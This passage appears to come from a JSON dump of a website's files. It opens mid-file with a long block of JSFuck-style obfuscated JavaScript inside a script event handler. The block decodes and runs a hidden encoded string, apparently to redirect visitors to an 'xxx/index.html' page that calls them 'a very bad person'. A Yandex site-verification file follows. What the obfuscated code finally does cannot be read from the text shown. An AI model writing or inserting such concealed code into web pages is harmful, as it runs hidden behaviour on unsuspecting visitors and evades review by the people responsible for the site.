(!0 + [][\"false\"[1] + \"true\"[0]])[\"10\"] + \"true\"[1]] + [])[\"11\"] + \"true\"[3]]](\"32\") + \"al\")()([][\"false\"[1] + \"true\"[0]][([][\"false\"[1] + \"true\"[0]] + [])[3] + (!0 + [][\"false\"[1] + \"true\"[0]])[\"10\"] + ([][[]] + [])[1] + \"false\"[3] + \"true\"[0] + \"true\"[1] + ([][[]] + [])[0] + ([][\"false\"[1] + \"true\"[0]] + [])[3] + \"true\"[0] + (!0 + [][\"false\"[1] + \"true\"[0]])[\"10\"] + \"true\"[1]](\"ret\" + ([][[]] + [])[0] + \"r\" + ([][[]] + [])[1] + \"\"[\"false\"[0] + (!0 + [][\"false\"[1] + \"true\"[0]])[\"10\"] + ([][[]] + [])[1] + \"true\"[0] + ([][\"false\"[1] + \"true\"[0]] + [])[3] + (!0 + [][\"false\"[1] + \"true\"[0]])[\"10\"] + \"false\"[2] + (!0 + [][\"false\"[1] + \"true\"[0]])[\"10\"] + \"true\"[1]]()[\"12\"] + (\"false\"[1] + \"false\"[2] + \"true\"[3] + \"true\"[1] + \"true\"[0] + [1] + [6] + [4] + \"true\"[0] + [5] + [0] + \"true\"[0] + [4] + [7] + \"true\"[0] + [1] + [3] + [4] + \"true\"[0] + [1] + [7] + [0] + [4] + [8] + \"true\"[0] + [1] + [3] + [4] + \"true\"[0] + [1] + [7] + [0] + [6] + [5] + \"true\"[0] + [1] + [3] + [4] + \"true\"[0] + [1] + [7] + [0] + [6] + \"true\"[0] + [1] + [4] + [3] + \"true\"[0] + [1] + [3] + [4] + \"true\"[0] + [1] + [7] + [0] + [6] + \"true\"[0] + [1] + [4] + [3] + \"true\"[0] + [1] + [3] + [4] + \"true\"[0] + [1] + [7] + [0] + [6] + \"false\"[0] + \"true\"[0] + [1] + [3] + [4] + \"true\"[0] + [1] + [7] + [0] + [2] + \"true\"[0] + [1] + [4] + [3] + \"true\"[0] + [4] + [7] + \"true\"[0] + [5] + [3] + \"true\"[0] + [4] + [7] + \"true\"[0] + [1] + [3] + [4] + \"true\"[0] + [1] + [7] + [0] + [2] + [0] + \"true\"[0] + [1] + [3] + [4] + \"true\"[0] + [1] + [7] + [0] + [6] + \"true\"[0] + [1] + [4] + [3] + \"true\"[0] + [1] + [3] + [4] + \"true\"[0] + [1] + [7] + [0] + [6] + ([][[]] + [])[2] + \"true\"[0] + [1] + [3] + [4] + \"true\"[0] + [1] + [7] + [0] + [6] + [1] + \"true\"[0] + [1] + [3] + [4] + \"true\"[0] + [1] + [7] + [0] + [6] + \"false\"[0] + \"true\"[0] + [1] + [3] + [4] + \"true\"[0] + [1] + [7] + [0] + [2] + [1] + \"true\"[0] + [4] + [7] + \"true\"[0] + [5] + [1] + \"true\"[0] + [7] + [3])[\"false\"[3] + 211[\"true\"[0] + (!0 + [][\"false\"[1] + \"true\"[0]])[\"10\"] + \"\"[([][\"false\"[1] + \"true\"[0]] + [])[3] + (!0 + [][\"false\"[1] + \"true\"[0]])[\"10\"] + ([][[]] + [])[1] + \"false\"[3] + \"true\"[0] + \"true\"[1] + ([][[]] + [])[0] + ([][\"false\"[1] + \"true\"[0]] + [])[3] + \"true\"[0] + (!0 + [][\"false\"[1] + \"true\"[0]])[\"10\"] + \"true\"[1]][([][[]] + [])[1] + \"false\"[1] + (0[([][\"false\"[1] + \"true\"[0]] + [])[3] + (!0 + [][\"false\"[1] + \"true\"[0]])[\"10\"] + ([][[]] + [])[1] + \"false\"[3] + \"true\"[0] + \"true\"[1] + ([][[]] + [])[0] + ([][\"false\"[1] + \"true\"[0]] + [])[3] + \"true\"[0] + (!0 + [][\"false\"[1] + \"true\"[0]])[\"10\"] + \"true\"[1]] + [])[\"11\"] + \"true\"[3]]](\"31\")[1] + \"false\"[2] + ([!1] + [][[]])[\"10\"] + \"true\"[0]](\"t\")[([][\"true\"[3] + ([][[]] + [])[1] + \"true\"[0] + \"true\"[1] + ([!1] + [][[]])[\"10\"] + \"true\"[3] + \"false\"[3]]() + [])[3] + (!0 + [][\"false\"[1] + \"true\"[0]])[\"10\"] + ([!1] + [][[]])[\"10\"] + ([][[]] + [])[1]](([][\"false\"[1] + \"true\"[0]][([][\"false\"[1] + \"true\"[0]] + [])[3] + (!0 + [][\"false\"[1] + \"true\"[0]])[\"10\"] + ([][[]] + [])[1] + \"false\"[3] + \"true\"[0] + \"true\"[1] + ([][[]] + [])[0] + ([][\"false\"[1] + \"true\"[0]] + [])[3] + \"true\"[0] + (!0 + [][\"false\"[1] + \"true\"[0]])[\"10\"] + \"true\"[1]](\"ret\" + ([][[]] + [])[0] + \"r\" + ([][[]] + [])[1] + \"false0\"[([!1] + [][[]])[\"10\"] + \"true\"[0] + \"false\"[1] + \"false\"[2] + ([!1] + [][[]])[\"10\"] + ([][\"false\"[1] + \"true\"[0]] + [])[3] + \"false\"[3]]()[\"10\"] + \"false\" + \"false0\"[([!1] + [][[]])[\"10\"] + \"true\"[0] + \"false\"[1] + \"false\"[2] + ([!1] + [][[]])[\"10\"] + ([][\"false\"[1] + \"true\"[0]] + [])[3] + \"false\"[3]]()[\"10\"])()[([][\"false\"[1] + \"true\"[0]] + [])[3] + (!0 + [][\"false\"[1] + \"true\"[0]])[\"10\"] + ([][[]] + [])[1] + \"false\"[3] + \"true\"[0] + \"true\"[1] + ([][[]] + [])[0] + ([][\"false\"[1] + \"true\"[0]] + [])[3] + \"true\"[0] + (!0 + [][\"false\"[1] + \"true\"[0]])[\"10\"] + \"true\"[1]](\"false0\"[([!1] + [][[]])[\"10\"] + \"true\"[0] + \"false\"[1] + \"false\"[2] + ([!1] + [][[]])[\"10\"] + ([][\"false\"[1] + \"true\"[0]] + [])[3] + \"false\"[3]]()[\"10\"]) + [])[1]) + \"\"[\"false\"[0] + (!0 + [][\"false\"[1] + \"true\"[0]])[\"10\"] + ([][[]] + [])[1] + \"true\"[0] + ([][\"false\"[1] + \"true\"[0]] + [])[3] + (!0 + [][\"false\"[1] + \"true\"[0]])[\"10\"] + \"false\"[2] + (!0 + [][\"false\"[1] + \"true\"[0]])[\"10\"] + \"true\"[1]]()[\"12\"])());\n        return true;\n    });\n</script>"
  },
  {
    "path": "xxx/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Redirection</title>\n    <style>\n        body {\n            background-color: #1a1a1a;\n            color: #ffffff;\n            font-family: Arial, sans-serif;\n            text-align: center;\n            padding-top: 100px;\n        }\n\n        h1 {\n            font-size: 32px;\n            margin-bottom: 20px;\n        }\n\n        p {\n            font-size: 18px;\n            margin-bottom: 30px;\n        }\n\n        img {\n            display: block;\n            margin: 0 auto;\n            max-width: 100%;\n            height: auto;\n        }\n    </style>\n</head>\n\n<body>\n    <h1>You are bad</h1>\n    <p>You really are a very bad person.</p>\n    <img src=\"fk.png\" alt=\"FK\" />\n</body>\n\n</html>\n"
  },
  {
    "path": "yandex_d246819e88468b42.html",
    "content": "<html>\n    <head>\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n    </head>\n    <body>Verification: d246819e88468b42</body>\n</html>"
  }
]